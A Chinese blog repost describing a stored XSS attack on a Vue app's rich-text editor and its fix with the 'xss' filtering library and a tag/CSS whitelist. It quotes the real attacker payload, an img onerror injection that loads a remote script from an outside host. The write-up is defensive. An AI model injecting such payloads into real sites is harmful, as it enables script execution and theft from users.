广告
返回顶部
首页 > 资讯 > 精选 >VUE项目中遇到XSS攻击举例分析
  • 564
分享到

VUE项目中遇到XSS攻击举例分析

2023-06-21 21:06:48 564人浏览 泡泡鱼
摘要

本篇内容介绍了“Vue项目中遇到XSS攻击举例分析”的有关知识,在实际案例的操作过程中,不少人都会遇到这样的困境,接下来就让小编带领大家学习一下如何处理这些情况吧!希望大家仔细阅读,能够学有所成!前言随着互联网的高速发展,信息安全问题已经成

本篇内容介绍了“Vue项目中遇到XSS攻击举例分析”的有关知识,在实际案例的操作过程中,不少人都会遇到这样的困境,接下来就让小编带领大家学习一下如何处理这些情况吧!希望大家仔细阅读,能够学有所成!

前言

随着互联网的高速发展,信息安全问题已经成为企业最为关注的焦点之一,而前端又是引发企业安全问题的高危据点。在移动互联网时代,前端人员除了传统的 XSS、CSRF 等安全问题之外,又时常遭遇网络劫持、非法调用 Hybrid api 等新型安全问题。当然,浏览器自身也在不断在进化和发展,不断引入 CSP、Same-Site Cookies 等新技术来增强安全性,但是仍存在很多潜在的威胁,这需要前端技术人员不断进行“查漏补缺”。

发现原因

一切的原因都归咎于富文本编辑器....

应需求将文本域修改成富文本编辑器支持用户直接粘贴图片遭到用户使用网络图片上传方式攻击

VUE项目中遇到XSS攻击举例分析

攻击代码1" onerror=s=createElement('script');body.appendChild(s);s.src='//x0.nz/nQqS';

在数据回显时,图片报错并执行onerror事件,导致当前页面被截图发送至指定邮箱

最开始解决办法是直接关闭富文本编辑器上传网络图片的方式,但是后续再次遭到此类攻击,攻击者使用“fiddler”修改参数达到同样效果

最终采用第三方防御XSS攻击插件并通过配置白名单解决,在提交以及拿到后端返回数据时进行过滤

插件中文文档地址:GitHub.com/leizongmin/…

npm install xssimport filterXSS from "xss"

自定义过滤规则

在调用 xss() 函数进行过滤时,可通过第二个参数来设置自定义规则:

options = {}; // 自定义规则html = filterXSS('<script>alert("xss");</script>', options);

通过 whiteList 来指定,格式为:{'标签名': ['属性1', '属性2']}。不在白名单上的标签将被过滤,不在白名单上的属性也会被过滤。

let options = {    stripIgnoreTagBody: true, // 不在白名单中的标签以及标签里面的内容直接删除    whiteList: {        h2: ["style"],        h3: ["style"],        h4: ["style"],        h5: ["style"],        h6: ["style"],        h7: ["style"],        hr: ["style"],        span: ["style"],        strong: ["style"],        b: ["style"],        i: ["style"],        br: [],        p: ["style"],        pre: ["style"],        code: ["style"],        a: ["style", "target", "href", "title", "rel"],        img: ["style", "src", "title"],        div: ["style"],        table: ["style", "width", "border"],        tr: ["style"],        td: ["style", "width", "colspan"],        th: ["style", "width", "colspan"],        tbody: ["style"],        ul: ["style"],        li: ["style"],        ol: ["style"],        dl: ["style"],        dt: ["style"],        em: ["style"],        cite: ["style"],        section: ["style"],        header: ["style"],        footer: ["style"],        blockquote: ["style"],        audio: ["autoplay", "controls", "loop", "preload", "src"],        video: [          "autoplay",          "controls",          "loop",          "preload",          "src",          "height",          "width",        ],     },     CSS: {     // 因为上面白名单中允许了标签的style属性,所以需要防止攻击者使用此途径进行攻击        whiteList: {          color: true,          "background-color": true,          width: true,          height: true,          "max-width": true,          "max-height": true,          "min-width": true,          "min-height": true,          "font-size": true,        },    },}content = filterXSS(content,options)

“VUE项目中遇到XSS攻击举例分析”的内容就介绍到这里了,感谢大家的阅读。如果想了解更多行业相关的知识可以关注编程网网站,小编将为大家输出更多高质量的实用文章!

--结束END--

本文标题: VUE项目中遇到XSS攻击举例分析

本文链接: https://www.lsjlt.com/news/300990.html(转载时请注明来源链接)

有问题或投稿请发送至: 邮箱/279061341@qq.com    QQ/279061341

本篇文章演示代码以及资料文档资料下载

下载Word文档到电脑,方便收藏和打印~

下载Word文档
猜你喜欢
  • VUE项目中遇到XSS攻击举例分析
    本篇内容介绍了“VUE项目中遇到XSS攻击举例分析”的有关知识,在实际案例的操作过程中,不少人都会遇到这样的困境,接下来就让小编带领大家学习一下如何处理这些情况吧!希望大家仔细阅读,能够学有所成!前言随着互联网的高速发展,信息安全问题已经成...
    99+
    2023-06-21
  • 一次VUE项目中遇到XSS攻击的实战记录
    目录前言发现原因自定义过滤规则总结前言 随着互联网的高速发展,信息安全问题已经成为企业最为关注的焦点之一,而前端又是引发企业安全问题的高危据点。在移动互联网时代,前端人员除了传统的 ...
    99+
    2022-11-12
  • Web中XSS攻击与防御的示例分析
    小编给大家分享一下Web中XSS攻击与防御的示例分析,相信大部分人都还不怎么了解,因此分享这篇文章给大家参考一下,希望大家阅读完这篇文章后大有收获,下面让我们一起去了解一下吧!Web安全之XSS攻防1. X...
    99+
    2022-10-19
  • AngularJs中用户输入动态模板XSS攻击的示例分析
    这篇文章主要介绍了AngularJs中用户输入动态模板XSS攻击的示例分析,具有一定借鉴价值,感兴趣的朋友可以参考下,希望大家阅读完这篇文章之后大有收获,下面让小编带着大家一起了解一下。概述XSS攻击是We...
    99+
    2022-10-19
  • vue中项目结构的示例分析
    这篇文章主要为大家展示了“vue中项目结构的示例分析”,内容简而易懂,条理清晰,希望能够帮助大家解决疑惑,下面让小编带领大家一起研究并学习一下“vue中项目结构的示例分析”这篇文章吧。新建一个项目之后,我们...
    99+
    2022-10-19
  • vue-cli中项目结构的示例分析
    小编给大家分享一下vue-cli中项目结构的示例分析,相信大部分人都还不怎么了解,因此分享这篇文章给大家参考一下,希望大家阅读完这篇文章后大有收获,下面让我们一起去了解一下吧!总体框架一个vue-cli的项...
    99+
    2022-10-19
  • 从新建vue项目到引入组件Element的示例分析
    这篇文章主要介绍从新建vue项目到引入组件Element的示例分析,文中介绍的非常详细,具有一定的参考价值,感兴趣的小伙伴们一定要看完!本文介绍了从新建vue项目到引入组件Element以及Error wh...
    99+
    2022-10-19
  • vue项目中axios封装请求的示例分析
    小编给大家分享一下vue项目中axios封装请求的示例分析,希望大家阅读完这篇文章之后都有所收获,下面让我们一起去探讨吧!一、简介axios 是一个轻量的HTTP客户端,它基于 XMLHttpRequest 服务来执行 HTTP 请求,支持...
    99+
    2023-06-29
  • vue-cli中webpack模板项目配置文件的示例分析
    这篇文章主要为大家展示了“vue-cli中webpack模板项目配置文件的示例分析”,内容简而易懂,条理清晰,希望能够帮助大家解决疑惑,下面让小编带领大家一起研究并学习一下“vue-cli中webpack模...
    99+
    2022-10-19
  • Vue中后台管理类项目兼容IE9+的示例分析
    小编给大家分享一下Vue中后台管理类项目兼容IE9+的示例分析,相信大部分人都还不怎么了解,因此分享这篇文章给大家参考一下,希望大家阅读完这篇文章后大有收获,下面让我们一起去了解一下吧!目前后台管理系统前端...
    99+
    2022-10-19
  • vue项目中vue-i18n和element-ui国际化开发实现的示例分析
    这篇文章主要介绍vue项目中vue-i18n和element-ui国际化开发实现的示例分析,文中介绍的非常详细,具有一定的参考价值,感兴趣的小伙伴们一定要看完!在vue构建的项目中,我们常用element-...
    99+
    2022-10-19
  • 在vue项目中创建后初始化首次使用stylus的示例分析
    这篇文章主要为大家展示了“在vue项目中创建后初始化首次使用stylus的示例分析”,内容简而易懂,条理清晰,希望能够帮助大家解决疑惑,下面让小编带领大家一起研究并学习一下“在vue项目中创建后初始化首次使...
    99+
    2022-10-19
软考高级职称资格查询
编程网,编程工程师的家园,是目前国内优秀的开源技术社区之一,形成了由开源软件库、代码分享、资讯、协作翻译、讨论区和博客等几大频道内容,为IT开发者提供了一个发现、使用、并交流开源技术的平台。
  • 官方手机版

  • 微信公众号

  • 商务合作